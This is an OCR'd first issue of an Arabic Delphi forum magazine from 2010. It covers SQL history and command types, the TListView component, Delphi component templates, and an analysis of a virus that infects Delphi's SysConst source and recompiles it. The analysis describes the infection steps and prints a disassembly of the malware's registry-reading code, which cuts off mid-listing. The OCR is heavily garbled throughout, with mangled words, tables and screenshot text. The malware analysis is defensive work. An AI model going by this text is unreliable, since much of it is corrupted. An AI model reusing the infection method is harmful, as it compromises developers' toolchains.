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الغدد 0 


كهرس هدا الغدد 


, افتتاحية. 

, قواعد البيانات: الإستههام ا5۵. 

, مکونات دلفھٌ: مکون W‏ 1۷16ء اا. 
, دلفلٌ: إعادة الاستخدام فو دلفة 

, تحليل البرمجيات : استهداقف دلفي. 


ر تمرين الغدد. 


اقتتاحية 


دلفم. ديلف. دالفة و ديلفال مهما اختلف لفضه أوامره واحدة. 


قام اليوم أول يونيو أعضاء منتدة دلفل للعرب بااصدار أول عدد من مجلة 
المنتدة. و هل عبارة عن مجلة شهرية تحليمية تحالج مواضيع البرمجة و التحليل 
البرمجي بطريقة سهلة. سلسة و هادفة. 


يستطيع أعضاء المنتدة المشاركة فم المواضيع الشهرية باررسال 
الموضوع إل إدارة المنتد قبل أسبوعين من وقت نشر الغدد. 

المواضيع يجب أن تكون خفيفة. غير سطحية و هادفة تهالج أفكار 
التغامل مغ دلفٌ ف كل الإختصاصات. 

مدعومة بصور و مكتوبة باللغة الغربية القصحة مغ إمكانية كتابة 
المصطلحات باللغة الإنكليزية فقط. 

ترجمة مطادر غربية مقبولة مج إلزامية ذكر المطدر. 

تحتفظ إدارة المنتد بحة قبول أو رفض مشاركة ف حالة تكرار الموضوع 
أو نقل الموضوع من منتديات أخره. 

تمنح المجلة الإ شهار المجاني للبرامج المنجزة من طرف أعضاء المنتدة 
مغ حق الإمتناع و التحفظ. 


مشاركتك تهمنا و بها نضع لبنات بناء صرح عرب للبرمجة. 


الكاتب : إدارة المنتدى 


قواعد البیانات 


مدخل إل لغة الإستعهامات البنيوية (الجزء الأول 
Introduction to Structured Query Language‏ 


(Part One) 


kachwahed قلھ:‎ 


1 فظرة تاريخية: 


طورت شركة Ale SQL ãغl |18M‏ ڍد g Donald D. Chamberlin‏ 
Raymond F. Boyce‏ بداية عام 1970« وكانت iÎذIك‏ تدAe SEQUEL‏ 
وموجهة لمهالجة واستخراج البيانات من منتجات قواعد البياناد العهائقية 

.|8 N لشركة‎ 


خلال عام 1970 قامت مجموعة من مبرمج شركة ۱8۷ بتطوير نظام قواعد 
بیانات علائقية يدع ٩‏ 20 tءر؟.‏ حینھا قام .0 00٣21‏ و .۴ ٩moصRa@y‏ بتطویر 
Structured English Query Language‏ أو SEQ‏ لمھالجة وتسییر البیاناد 


لنظام قواعد البیانات ۸ ١٠عاكر؟.‏ كار ذلك عام 1976. 


من اُوائل نظم قواعد البیانات کار ۸0۷5S‏ تطوير شركة N۱۲‏ عام 1970, تبعتها 
|ngres‏ عام 1974 فھ .0.C.Berkeley‏ وهنا اُدرجت 5٤۲ع٣|‏ أداة للإاستعلام 


عن البیانات عرفت حينها باسم ا٤‏ لا0 الت اشتهرت فيما بعد بلغة ا5۵. 


بعد ذلك. قامت .°¬1 Relational Software,‏ )eاOrac‏ حالیا) بتطویر لغة 
ا0 خاصة بهاء مھ اعتماد مباد تصميم قواعد البيانات العهائقية التو وضعها 
Jgi Relation Software, Inc. iرaۍaÎ . Chamberlin, Boyceg Codd‏ 
منتج تجار يدعم لغة ا50۵ صيف 1979 عرف باسم ۷2 ءا٤0۲‏ رالإصدار 2) 


الخاص بحواسيب ×۸/. 


بعد عرض لغة ا5۵ عل المتغاملين لتجربتها واكتشاف فعاليتهاء شرعت ™N‏ 86| 
بتطوير منتجات تجارية اعتمادا عل نظام قواعد البیانات ۴۸ 5/58۳ كنموضج 
أول بما في ذلك 38/"ءاءSy. SQ1/ 5S‏ و 082 خلال السنوات 1979. 1981ء 
3 علۂ الترتيب. 


ما هة لخة الإستعلامات البنيوية ا50۵؟ 


لخة الإستههمات البنيوية 2¢ Structured Query L4 ^8U2‏ أو Q1‏ اختصارا 
«وتقراً إس كيو إل أو سيكوال». هي لخغة برمجة قياسية للتغامل م& قواعد 
البيانات العلائقية. تسمح هذه اللغة بااجراء مختلف العمليات عل قاعدة 

البيانات. بما فل ذلك: 


۷ الإاستعلام عن البيانات : الحصول عل أ إحهاء رأو مغلومق حول البيانات 


۷ التحكم فم البياناتد: إجراء عمليات الإضافة. الحذف. التحديث 


التحكم فل الصلاحيات: إنشاء المستخدمين حسابات التسجيل مچ تحديد 


أقسام لغة ا50۵: 


يمكن تقسيم تغليمات لخة ا50 إل ثلاث أقسام رئيسية وقسمين آخرين أُولها 
تعليمات تعريف البياناد وتتلخص فم تعليمات إنشاء وحذف عناصر قاعدة 
بيانات : الجداول. الحقول, المفاتيح. الفهارس. القيود.... القسم الثان تحليماد 
مغالجة البياناد وتشمل كل ما يتغلق بالسجلات من إضافة» حذف وتحديث. 
القسم الثالث تعليمات الصلاحية وتتحلق بتحديد الصلاحيات وحدود الإستغمال. 
قسم آخر يتمثل ف تعليمات تسيير المغاملات )1۲31۸43٥)1018(‏ ويسمح 
بالتحكم في طريقة إرسال الإستعلامات عل شكل دفحات أو صفقات (رسنتحدد 
عن ذلك لإحقا بالأمثلق» ويضيف آخرون قسم تعليمات ا50 المدمجة 
)Embedded SQL)‏ ومن أمثلتھا: 


SET, DECLARE CURSOR, OPEN, FETCH... 
إل آخر کما تختلف تعلیمات ا5۵‎ " ۸08۷S طبھاء تختلف تحلیمات ا50۵ من‎ 
MySQL, Access, dBase, FoxPro, :Jie بين نظم قواعد البيانات الملقات.‎ 


.arad0x, Approach‏ وبين نظم قواعد البيانات من الشكل عميل/ خاد مثل: 
Sybase ,Oracle, SQL Server, Informix, DB2, Interbase, 4D,‏ 
.PostgreSQL‏ 


:Relationa1 Database Management System‏ نظام تسيير قواعد البيانات العلائقية. 


الجدول التال يخلص أهم التغليمات البرمجية ف لغة 501: 


جدول 1: أنواع التعليمات البرمجية للغة 1اSQ؟‏ 


keywords 


تعليمات معالجة البيانات 


Data Manipulation Language (DML) 


تعليمات تعريف البيانات 


Data Definition Language (DDL) 


تعليمات التحكم في تدفق البيانات 

Transaction Control Language (TCL) 
تعليمات التحكم في الصلاحيات‎ 

Data Control Language (DCL) 


Type of SQL 


SELECT 
INSERT 
UPDATE 
DELETE 
MERGE 
CREATE 
ALTER 
DROP 
RENAME 
TRUNCATE 
COMMENT 
COMMIT 
ROLLBACK 
SAVEPOINT 
GRANT 
REVOKE 


لماذا نتغلم ا5۵؟ 


مغظم محركات قواعد البيانات تدعم لغة ا5۵ مج اختلإافات صغيرة ف القواعد 
النحوية للمغيار المحدد. تعلمك لغة ا50۵ يفتح لك آفاقا واسهة ويجهلك قادرا 
عل التغامل مخ أية قاعدة بيانات مصممة بأحد البرامج التالية: 


Oracle, Microsoft SQL Server, Microsoft Access, MySQL, DB2 
(IBM Data Server), Informix, PostgreSQL, Sybase, Microsoft 
Visual FoxPro, NonStop SQL, Dataphor, Teradata, 4th 
Dimension, SQLBase, CSQL, FileMaker PRO, Helix Database, 
ODBC, Ingres, MonetDB, MaxDB, H2, MaxDB, VMDS, 
Openbase, eXtremeDB, Interbase, OpenEdge ABL, SmallSQL, 
Linter SQL DMBS, Derby, Adabas D, Greenplum Database, 
HSQLDB, AlphaFive, One$DB, ScimoreDB, Pervasive PSQL, 

lğpڍyégGladius‎ DB, Daffodil database, solidDB... 


مخابير لغة ا50: 

American National Standards تم تبني لخة ا50۵ كلغة قياسية من طرف‎ 
International ۉۈركگ—‎ jing .«SQ@L-86 awl تحت‎ 1986 le ANSI gi Insttt e 

.1987 ale ISO gi Organization for Standardization 

National Institute of Standards and إل غاية 1996 قام مغ@د‎ 


rechnology‏ راو N57‏ باعتماد SQ DBMS‏ كلغة ا50 القياسية. 


الجدول الت يلخص المعايير الشائهة للغة 50۵1: 
جدول 2: المغايير القياسية المعتمدة ف لخة S0۵1‏ 


الحام 


1986 


1989 


1992 


1999 


2003 
2006 


2008 


SQL-92 


SAL:1999 


SQL:2003 
SQL:2006 


SQL:2008 


الاسم 
المستهار 
SQL-87‏ 
FIPS 127-‏ 
1 

SQLZ2, 
FIPS 127- 
2 

SQL3 


أول اعتماد للغة 1ا50 من طرف |اANS‏ 


إصدار منقح. لدعم 127-1 ۴۱۲۶ 


مراجهات أُخرھ 9075 ۱50) 


إدراج الحبارات القياسية. الإرتباط 
الإستعلامات الدورية. القوادح... 

دعم .×۷N1‏ الحقول التعريقية... 
إمكانية دمج 1× إل استحهام ا5۵ 
دعم 6٣۷‏ 01× وغير طذلك... 

إدراج 0۴ NS E۸0‏ | للقوادح. إضاقة 


"RU NCA ٤‏ وغیر طللگ... 


إل اليوم 4 يوجد نظام تسيير قواعد بيانات يطبق مغيار ا5۵ بحذافره! فل حين 
هناك العديد من النظم تملك لهجة ا50 خاصة بهاء بمعنة أنها تضيف عبارات 
غير متوفرة فل معيار ا5۵. أو تستخدم نفس التعغليمات الواردة في المغيار 


Paradox 7‏ و97 MS SQL) Server‏ یستخدماز معیار 92-ا5۵ 


MS Access 97‏ و8 eا0rac‏ يستخدمار: المغیار 5۵1-89 


مميزات لغة ا5۵: 
ما يميز لخة ا5۵ عن بقية لخات البرمجة أنها لغة تصريحية رع12۲4)1۷ء0. أي 
أننا باستهمالها نكتب ما نريد مخرفته أو الحصول عليه والمترجم هو الذي يحدد 
كيف وبأ طريقة يتم تنفيذ ذلك. فل حين لغات البرمجة الُخرل * تعد نمطية 
(ا2 eu‏ تا۴». أ أن المبرمج عليه أن يكتب كل التعليمات البرمجية اللإزمة 
لتحقيق المطلوب. 


باختصار يمكن أن نلخط أهم خصائط لغة ا5۵ فيما يلة: 


, لخة قياسية: أ ذات مغايير موحدة تستخدم فل معغظم أنظمة تسيير 
قواعد البيانات العلائقية. وهو ما يسمح بالانتقال من ۸28۷5 إل آخر مع 
الإحتفاظ بنفس تعليمات ا50۵ المشتركة. 


, سريهة التنفيذ واستههاك أقل للموارد: حيث يتكفل المترجم بتنفيذ 
الإستعلامات بشكل داخل وسريع ودون تدخل من البرنامج المرسل 
للإستعلام؛ بتنفيذ الإستعلام ف وقت قياس وباستههاك أقل لموارد 
الجهاز ويتكفل مترجم ا50 بترتيب تنفيذ الإستهلامات بشكل تزامني 
وحسب الأولويات. وه ميزة فريدة فو الأنظمة عميل /خادم. 

, 1ا0 غير حساسة لحالة الأحرف ر عتأأئرse-case-”No:‏ يمكن 
استخدام أحرف كبيرة رعكة٤۲عم‏ ملا أو أحرف صغيرة ec26‏ س٥ا‏ 


ف كتابة الإستعلامات دون التأثير عله الناتج. ويفضل اصطاحا كتابة 


نقصد بذلك لغات البرمجة المعروفة› متJل: ...Java «Assembler «Pascal «C‏ 


تحليمات لغة ا5۵ بالأحرف الكبيرة للتمييز بينها وبين أُسماء كائنات 
قاعدة البياناد (الجداول والحقول وغير ذلك.). 


, لغة ا50 الفقهم والإستعمال: لغة ا50 سهلة التعلم الإستخداسم ول 
تتطلب أية مهارف مسبقة بأو لغة برمجة؛ إذ يمكن ل عامل ف الشركة 
بعد مطالعة درس بسيط حول ا50 أن يكتب استهلام لمهاينة البيانات. 


المراجم: 
SQL Fundamentals (3rd Edition) v‏ 
Wikipedia: Structured Query Language v‏ 
Developez.com: Le SQL de Ada Z v‏ 


نبذة عن مكونات دلف 
مڪوڻ: LİstVi€W‏ 

AL-MOB4RM3G : ٿھ‎ 

سيتم بون الله شرح بعض و أهم خصائط مكور ال 6W‏ |/۷ءأا فم دلفي, 
المكون هو من المكونات المهمة ,كثيرا ما نرل برامج تستخدم هدا المكون و 
الحقيقة انه من المكونات الإأساسية ف دلف, به كثير من الخصائط المهمة 
التو سنتطرةق إليها فل الأسفل إن شاء الله تعالة, بالإضافة إل ذلك فمنظره 
جمیل و شكله رائھ. 


ف الدلفة, وتحت عنوار ال ١۷١32‏ كما فم الصورة التالية, 


نجد المكون الذل يحمل العنوان Wع51۷/1أا‏ 


TListView!‏ ا" 


THeader Control‏ کک 


Narme: TListView 
Unit: CormtCtrls 
Package: dcelstd140.bpl 


ED TStatusBar 
HF TTaalBar 


& TFrarnlRar 


نخغط عليه ونضعه عل الفورم حت نبدا الب به و التجريب فيه, 


من لوحة الخصائط نجد أن لهذا المكون كثير من الخصائص, منها من نغرفها في 
مكونات أخر مثل الخاصية ١0ا۸‏ و الخاصية ۸۸٤۸0۲١‏ و الخاصية 
BiH ode‏ ایخا, ومنھا من ھو جدید كبعض الخصائط مثل 0W5†¥|€‏ ۷/1 و 


gGridlines‏ أمور أخره أيضا, 


Action ج‎ 
Align iH} alNone 8 
AlignwithMargins FIFalse 
AllocEy 1 

ll | Anchors [akLeft,ak Tap] 

lH | BevelEdges [beLeft,beTop,beRight 
Bevelinner bvRaised 
Bevelkind bkNane 
Bevelduter bvLowered 
Bevelwyidth 1 
BiDiMode bdLeftToRight 
BoarderStyle bsšingle 
Barderwidth 0 
Checkboxes IF IFalse 


نبداً م& اهم خاصية لهذا المكور, إل وهي خاصية ال |8١5,‏ ومن منا لم يسمج 
أو يستخدم هذه الخاصية؟ 4 تقلق اخ الحزيز ان لم تكن تعرفها, فبغد هدا 
الدرس البسيط فستهرف كيف تتغامل مها بالتأكيد, تابغوا مهنا جزاكم الله 


Icondptions 


LarqeEIlmaqEs 


نضغط علو المرب الذٌْ يحو ثهائة نقاط, ويظهر لنا مرب كما ف الصورة 
التالية , 


Item Properties 


New SubItem . Image Index: 


state Index: 


Delete 


هنا اهم الخصائص هل التو نم تعليمها بالون الأصفر, 
نخغط عل ۴۳ا €۷ وبغدھا نکتب شۂ فم اول سطر ,ف ثانھٍ سطر 
يمكننا وضة صورة حت تظهر بجانب الكلمة التو كتبناها فل العلل لكن يجب 
علينا أولها وضل المكون بمكون أكأاع9 | حت نتمكن من ذلك, 


| 2 ListView Items Edito 


Item Properties 
Caption: www, delphi4arab.com 
Image Index: Û 


state Index: -1 


aon 


n ‫‏ 
يمكن إضافة الكثير من ال) |8١5‏ الإأسطى وهدا جدا سهل ويسير, اضغط 
فقط عل ام0 ومن ثم عل ۳| ۸.8۷ مرة أُخرة واعد الكرة من جديد, 


بعد الإنتهاء من إضافة ال |8۳١5‏ اخضغط عله 0۸ و النتيجة منا فل الصورة 


التالية, مغ مراعاة أ الكلمات ربما مختلفة, 


Delphi... Delphi 4 Arab WWW. 


طيب, سنخبط بخ الخصائص بهدا المكون, من لوحة الخصائط نختار 


ViewStyledysalillvsReport 


» Viewstyle lsRepot ED 


اختفت الكلمات الت أضفناها من المكور, لإأسف, ينقصنا 011٠١١‏ وهدا جو 
السبب , 


تابغوا معا كما ف الصورة التالية, 


Lolumns Editor... 


Items Editor... 


Groups Editor... 


Edit 


Control 


Stay on Top 
wy  Dockable 


نضيف 00۷٠١١‏ بالضخط عل الصورة فل اعليٍ اليسار, 


l2 Editing... | 


O - TListColumn 


و النتيجة كما ف الصورة التالية, 


ڪڪ 


Delphi4Arab 
Delphi 
4 


Arab 
www, delphi4arab, com 


خاصية أخرلٌ جميلة هل خاصية ال 50۲۲۷08 ويتم من خلالها عمل 50۲ إل 


ترتيب ال |8۳١5‏ حسب الأرقام أولا ثم الأحرف الأبجدية, 


roe telî 


iw ,„delphi4arab .cam 


دعونا نلق نظرة عله الخاصية€5 111 |6۲ 


> ame RNB 


والنتيجة كما فو الصورة التالية, ر«هناك 6۲١١‏ عل المكون الإ( 


4 

Arab 

Delphi 
Delphi4Arab 


www, delphi4arab., com 


أيضا خاصية ٣6٥1ع‏ 5| Nu‏ قد نحتاجها, 


» MultiSelect hr rue 3 


وكما هو وأأضح من الإسم أنها تتيح لنا أن نختار أكثر من 8| فل نفس الوقت, و 


الصورة توضح النتيجة, 


www. delphi4arab, com 


وقبل النهاية من هذا المكون دعونا نذكر بعض لأكود المهمة لهذا المكون, 


یجلب کم عدد ال 85| فو المكوزن 
گکود: 


ListView1l. GetCount, 
لحذف ال 18۳0| المحدد,‎ 


گود: 
ListViewl1l. DeleteSelected;,‏ 
لتنظيف المكور من كل ال5١‏ | 


گود: 


ListViewl . SelectAll; 


لجلب رقم ال ×۸0€| لل 8۳| المحدد, 
گود: 


ListViewl. ItemIndex; 


وغيرها الكثير يمكن أن تكتشفونها بأنقسكم , 4 تنسوا ان تلقوا نظرة عله المثال 
التطبيق , نلقاڪم مڅ مڪور جديد ف عدد القادم إن شاء اللّه. 


إعادة الإستخدام فل دلفة 


بقلم: خالد شقروني 


إحدة المزايا التو تقدمها دلفم عند بناء واجهات الإستخدام هي سهولة 
إنشاء توليفة مكونات أو شاشات سابقة الإعداد وإعادة استخدامها داخل 
نماضذج الشاشات أو في مشاريعنا كلما احتجنا لها دون الحاجة إل إعادة 


فو هذه السلسلة سنتحدث عن ثلاث تقنيات تقدمهما دلفم وهة: 
1 lgãب‏ nll؛ligت Component Template‏ 
Frames ڌږilIراطؤ‎ JI 2‏ 


Repository جذloiلl‎ تIeدوتسم‎ 3 


الجزع الأول: قوالب المكونات 

قالب المكونات عبارة عن تركيبة من مكون واحد أو أكثر من المكونات المتاحة 

لدينا ف شريط المكونات. نقوم بارعداد هدا التركيبة باختيار المكونات 

وتحديد خصائطها و ملإمحها وكتابة الكود الذل نحتاجه فم أحداثها. ثم تقوم 

دلفمٍ بحفظها کقالب مکونات وتضیفه إلھ شرıط‏ lلe؛ۇzilig Component‏ 
٤‏ اة كمكون جديد يمكن إعادة استخدامه #ٍحقا. 


مثا: 


كثير منا يحتاج في نماذج الشاشات لزر ١0ا0‏ مكتوب علبه للهموافقلته أو 
)0 وزر آخر مكتوب عليه للهالغاء الأأمرلله أو اع٤١3).‏ وف كل مرة نغيد تحديد 
نفس الخصائص لهده الأزرار من حجم وكتابة وڪكود. ا يكون مجديا اُكثر لو قمنا 
بتحديد خطصائط هده الإزرار مرة واحدة؟ و أن نغيد استخدامها جاهزة كلما 


احتجنا إليها دون تكرار الجهد؟. 

لتحقيق ذلك : نبداً بهذه الخطوات البسيطة. 

بعد أن نبداً مشروعا جدیداء عل النموضذج ۴٥۲۳1‏ نقوم بالتالة : 
نضڅ مکون ں۲8 وتکور خصائصه كالتال : 


Name = btOK 
Caption = &OK 


أ أن الزر اسمه )010 و الكتابة عليه ستكون )0 كما هو واضح ف الشكل 1 


Fornıl 


Object Inspector 


[bok Tekn 


Properties | Events | 


Bok اش‎ 
(TSizekonskrain 
crOefault 

False 

erra 

dkDrag 

dmManual 

Trile 

{TFont} 

1 


hEZonkexk 
2 


mrone 
bek 


Lapkion 
HLonsktraints 
LUFSOF 
Default 
Drag Ursar 
Gragkind 
Grag™la de 
Enabled 
HFant 
Height 
HelpLontext 
HelpKeywward 
HelpType 
Hinıt 
Left 
ModalResult 
Mame 


ParentBiGiMade True 


al shan 


الشكل رقم ر 


وف الحدث ءا٣١0‏ للزر نكتب التهليمة التالية : 


ڪما هو ف الشكڪل 2 


Close; 


Š Unitî .pas 


=1 TFomi 
I] YariablesfZonstant end: 
ses 


E rik1 


|+ 


Tar 
Forml: 


TForml; 


implFmePNtaf. inim 


LR AEM 


procedure TForml.btkECLIiCkEISEnNnAEE: TObIeECE! ; 


hegin 


ios; 
End; 


Object Inspector 
LL, 


TobjeECE] : 


Treperkics Events | procedure TForml.btLanzE lr lick Bender: 


begin 
Arkicn 


Dnhclke akakzliclh. <| ٤ 
onte tPFopi 

razr ap 

Drager 


31: 1L _Medilied Iasert Lode fUagram j 
i ıEııler 

EziE 

LEE YDDHN 


LFeyPrezs 


Al shown 


الشكل رقم (2) 
ونكرر الإُمر مڅ مکون ۲8١‏ آخر. تكون خصائطه: 


Name = btCancel 


Caption = &Cancel 


وف الحدث ءا٣0۸‏ نكتب التعليمة التالية : 

Close; 
الآ نقوم باختيار الزرين (بالضغط عل الفأرة وإحاطة الزرين بمربع الإختبار ثم من‎ 
Create Component gi Component رlتخi‎ Aفلlد‎ fAف خلال إئحة الإوامر‎ 


ateاremp‏ كما فو الشكل ر3 


= 
ae 


عدد 01 شهر: يونيو لسنة 2010 


[F: Delphi 6 - Project1 


1 


È El| ج ج‎ | Ê E | New component... 
i Install Component... 
ا“‎ Import Artiye# Control... 


ile Edit Search Yjiews Project Run | Component Database Tools Eurekalog 


Lreate Lomponent Template... 


8 Install Packages... 


Lonfigure Palette, ., 


LL Li 
ik Lancel | 


الشكڪل (3) 


سيظهر لنا مربچ حوار». نكتب فيه اسم القالب وليكن اع٤١۳ ١0)٣3‏ واسم 


الصفحة E‏ شریط المکونات ولتکن N۷۲ ٤۳ما ٤‏ کما فو الشكل (4) 


= - 
ok 1 Lanrcel 


Lompone nt ITemplate Information 


Lomponent name: [rokcancel 
Palette page: [myTemplate >| 


Palette Icon: | ok) Change... 
Lanzel Help 


الشكل ر4) 


مجلة منتدل دلفل للغرب 


الإر لو نراجه شريط المكونات سنجد صفحة جديدة wl۾p My Template‏ 
وفيها أيقونة لقالب المكور الذل أنشأناه. لو اخترنا هذه الإأيقونة ووضهناها عل 
نموذج الشاشة 0۲۳ سوف تقوم دلفھ بوخغڅ مكونين من 10100 بحسب 
المواصفات الت حددناها فل القالب. و سنجد أيضا نسخة من الكود الذ سبق 
وأن حددناه فل حدث )ءا٣٣0‏ لكل زر. 

وبذلك كلما اردنا ثنائھ أزرار لله موافةۆ اله 9 للهإلغاء الأمرلله علو 1 قورم 
نستخدم هدا القالب 

لنأخذ مثا آخر 

نحتاج دائما ان نضغ مکونات ٤طا۲‏ و ل۲۴۵ في شاشات إدخال وعروض 
البيانات. ويزداد عدد هذه المكونات كلما ازداد عدد عناصر البيانات المراد 
إدخالها أو عرضها. وضغ هذه المكونات ثم تنظيمها ومراعاة تراصفها 
ومحاداتها وتناسة أحجامها يد عملا متحبا و مما. باستخدام قوالب المكونات 
يمكن أن نختصر الكثير من الجهد. 


نضھ تلات أو أربعة أو حتھ عشرة أزواج من مگونات أك 1۴ و اع ط۲12 و نقوم 
بتنسيقة أبعادها كما هو في الشكل ر 


Î: Form1 PIR 


ثم نختارها کلهاء و نکون منها قالبا جدیدا نسمیه ۲1۵0۵۱۴۵ بارتباع الخطوات 
ف المثال السابق باستخدlم‏ llڼمڍ «Create Component Template‏ 
ونحفظها في نفس صفحة ءادام۳١٥‏ ۲ر(“ فم شريط المكونات. الآن وبهدا 
القالب يمكننا وضه أزواج اع ها و أل بأعداد كبيرة وتنسيقها بسرعة أكبر. 


قبل أن نختم هدا الجزء لننظر فل استغلال آخر لقوالب المكونات. 
ستقوم بارنشاء قالب مکونات يحول مکونا واحدا فقط وهو ۲۴۵۲ و نجهل 


إدخالاته مقتصرة عل العداد فقط. أ أن المستخدم يمكنه إدخال أُرقام فقط 
داخل مكور الكتابة دون الأحرف والحهامات الأُخرةش. 

نضغ مکون ال۲۴ عل النموضذج ۴0۲۳ وداخل حدث ک٤٥٣‏ 0۸)۷۲ نكتب 
الكود التالي: 


procedure TForml. Edit 1KeyPress (Sender: TObject; var 
Key: Char); 


begin 
1f not (Key in ['0'..'9']) then 
Key := #0; 
end; 


نقوم بحفظ القالب بنفس الخطوات الت سبق توضيحها. وبذلك كلما احتجنا إل8 
مرب كتابة للأرقام فقط نستخدم هدا القالب الذلٍ سيخطينا مكونا سابق 
التجهيز رفة الكود اللإازم. 


تحليل البرمجيات : استهداف دلفة 


STRELÎTZI A لھ:‎ 


بغد مرور سنة عل اكتشاف البرنامج الضار المصنف ٤‏ ”| مازلت آثاره تظهر 
من فترة إل أخرة برسائل تنبيه من برامج الحماية. طبحا لم يصدر تحديث 
للبرنامج الضار منذ تلك الفترة. 

السؤال المطروح هو ما مدا إمكانية زرى أوامر خبيثة فم الملفات المصدرية 
الخاصة ببيئات البرمجة سواء دلفل أو غيرها؛؟ و ال جابة كانت مروعة» حيث لم 
يتو كشف البرنامج الضار إل بد أكثر من ثلاثة أأشهر من انتشاره و تلويث أكثر من 
ثلاثة آلإف جهاز حسب تقارير مخابر برامج الحماية. 

٥‏ يضهنا تحت خيار صعب هل يجب أن نثق فم المكونات الجاهزة المنتشرة 
دون ملفاتها المصدرية؟ ال جابة جاعت من احد الخبراء الغرب 3۸217اeم0.‏ 
حيث قال أنه صادف من قبل مكونات كانت تحتو عله أوامر خبيثة تنفذ دور علم 
مستهملها. لذا يجب الحذر فل استحمال المكتبات الجاهزة و محاولة التحميل من 


مواق8 رسمية. 


آلية التلوث : 


-1 


2 


3 


عند تشخيل ملف مصاب يبدا البرنامج الضار بالتحقق من وجود دلفي عل 
الجهاز بالبحث فم سجل النظام ۷٣†ءاعRe Ws‏ 0٣ا۷‏ عن مفتاح تنصيب 
دلفي. 
ف حالة وجوده يبدا ف قراءة قيمة 02¡۲هR‏ الت تحتو عل مسار 
تثبیت دلفٍ. و منه یتوجه إل مجلدین 10| و ر S01 ۲٥٤€‏ ثم ا٣‏ ثم 5ئ 
يقوم بالتحقق من وجود ملف فم مجلد ۵١ا‏ يحمل اسم 2۸٥.٤sہcoءرء‏ ان 
وجده 4 يتم تلويث الجهاز و يهتبر انه قد نم تلويثه من قبل و إن لم يجد 
الملف المذكور يبدا عملية التلويث. 
يقوم بفتح الملف sھم.†ئه٣ءر؟‏ ف مجلد ر 501۲٤۵‏ ثم ا٣٣‏ ثم 5۷5) و 
يبحث عن كلمة ٠٣٤٣210۸‏ ءام" | و تحتها يبدا ف كتابة الإُوامر الخبيثة. 
بغدها ينقل الملف الملوث كةم.1١١‏ ءءء إل مجلد 0ا و يقوم بعمل 
atDnاpiصcom‏ باستغمال dcc32.٥e×e‏ لیحصل عل ملف جدید 
cons.‏ كر و يقم بحقظ الملف الإأصلمٍ الغير ملوث uا٤0۸5†.0٥٤6۷5‏ 


.Sysconst. bak pul 


0040529C 55 PUSH EBP 


0040529 8BEC MOV EBP, ESP 

0040529F 81C4 DCFEFFFF ADD ESP, -124 

00405245 53 PUSH EBX 

00405246 56 PUSH ESI 

00405247 330 XOR EAX, EAX 

00405249 8985 E4FEFFFF MOV DWORD PTR SS: [EBP-11C], EAX 
004052AF 8985 EOFEFFFF MOV DWORD PTR SS: [EBP-120], EAX 
004052B5 8985 DCFEFFFF MOV DWORD PTR SS: [EBP-124], EAX 
004052BB 8985 ESFEFFFF MOV DWORD PTR SS: [EBP-118], EAX 
004052C1 8985 FOFEFFFF MOV DWORD PTR SS: [EBP-110], EAX 
004052C7 8985 ECFEFFFF MOV DWORD PTR SS: [EBP-114], EAX 
004052CD 8945 F4 MOV DWORD PIR SS: [EBP-C] , EAX 
004052D0 8D75 F8 LEA ESI, DWORD PTR SS: [EBP-8] 
00405203 3300 XOR EAX, EAX 

00405205 55 PUSH EBP 

004052D6 68 41544000 PUSH Induc_vi. 00405441 
004052DB 64:FF30 PUSH DWORD PIR FS: [EAX] 
004052DE 64:8920 MOV DWORD PIR FS: [EAX], ESP 
004052E1 B3 34 MOV BL, 34 

004052E3 8D45 FC /LEA EAX, DWORD PTR SS: [EBP-4] 
004052E6 50 [PUSH EAX 

004052E7 68 19000200 [PUSH 20019 

004052EC 6A 00 [PUSH O 

004052EE 68 58544000 [PUSH Induc_vi. 00405458 ; ASCII "software\Borland\Delphi\" 
004052F3 8D85 ECFEFFFF /LEA EAX, DWORD PIR SS: [EBP-114] 
004052F9 8BD3 /MOV EDX, EBX 

004052FB E8 7CEBFFFF /CALL Induc_vi .00403B7C 


00405300 FFB5S ECFEFFFF /PUSH DWORD PIR SS: [EBP-114] 


00405308 8D85 FOFEFFFF /LEA EAX, DWORD PIR SS: [EBP-110] 


00405311 BA 03000000 IMOV EDx, 3 

00405316. E8 S55E9FFFF [CALL Induc vi. 00403C70 

00405318 8B85 FOFEFFFF /MOV EAX, DWORD PIR SS: [EBP-110] 

00405321 E8 EGE9FFFF [CALL Induc vi. 00403D0C 

00405326 50 /PUSH EAX 

00405327 68 02000080 /PUSH 80000002 

00405320: E8 OFFIFFFF  |CALL <JMP.&advapi32.RegOopenKeyExA> 
00405331 85C0 /TEST EAX, EAX 

00405333 OF85 D8000000 /ONZ Induc vi. 00405411 

00405339 C706 FFO00000 /IMOV DWORD PTR DS: [ESI], OFF 

0040533F 56 [PUSH ESI 

00405340 8D85 FSFEFFFF /LEA EAX, DWORD PIR SS: [EBP-10B] 

00405346 50 /PUSH EAX 

00405347 56 [PUSH ESI 

00405348 6A 00 [PUSH 0 

00405344 68 80544000. [PUSH Induc_vi.00405480..  ; ASCII "RootDir" 
0040534F 8B45 FC /MOV EAX, DWORD PIR SS: [EBP-4] 

00405352 50 /PUSH EAX 

00405353 E8 FOFOFFFF  /CALL <JMP.&advapi32.RegQueryValueExA> 
00405358 85C0 /[TEST EAX, EAX 

00405354 OF85 28000000 /ONZ Induc vi. 00405408 

00405360 8D45 F4 /LEA EAX, DWORD PIR SS: [EBP-C] 

00405363 E8 20E7FFFF [CALL Induc vi. 00403288 

00405368 C706 01000000 /MOV DWORD PTR DS: [ESI],1 

0040536 EB 24 [IMP SHORT Induc vi.00405394 

00405370 8D85 ES8SFEFFFF //LEA EAX, DWORD PTR SS: [EBP-118] 

00405376 8Bl16 / |IMOV EDX, DWORD PTR DS: [ESI] 

00405378 8A9415 F4FEFFFF / /IMOV DL, BYTE PIR SS: [EBP+EDX-10C] 

00405377 E8 F8E7FFFF | ICALL Induc_vi .00403B7C 


00405384 8B95 ESFEFFFF / [MOV EDX, DWORD PIR SS: [EBP-118] 


0040538A 8D45 F4 / ILEA EAX, DWORD PTR SS: [EBP-C] 
0040538D E8 26E8SFFFF / ICALL Induc_ vi. 00403BB8 
00405392 FFO6 /IINC DWORD PTR DS: [ESI] 
00405394 8BO06 / MOV EAX, DWORD PTR DS: [ESI] 
00405396 8O0BCO5 F4FEFFFF 00 //CMP BYTE PTR SS: [EBP+EAX-10C],0 
0040539E ^ 75 DO /\JNZ SHORT Induc_ vi. 00405370 
004053A0 68 90544000 /PUSH Induc vi. 00405490 
00405345 FF75 F4 /PUSH DWORD PIR SS: [EBP-C] 
004053AD 8D85 E4FEFFFF /LEA EAX, DWORD PTR SS: [EBP-11C] 
00405383 BA 03000000 /MOV EDX, 3 

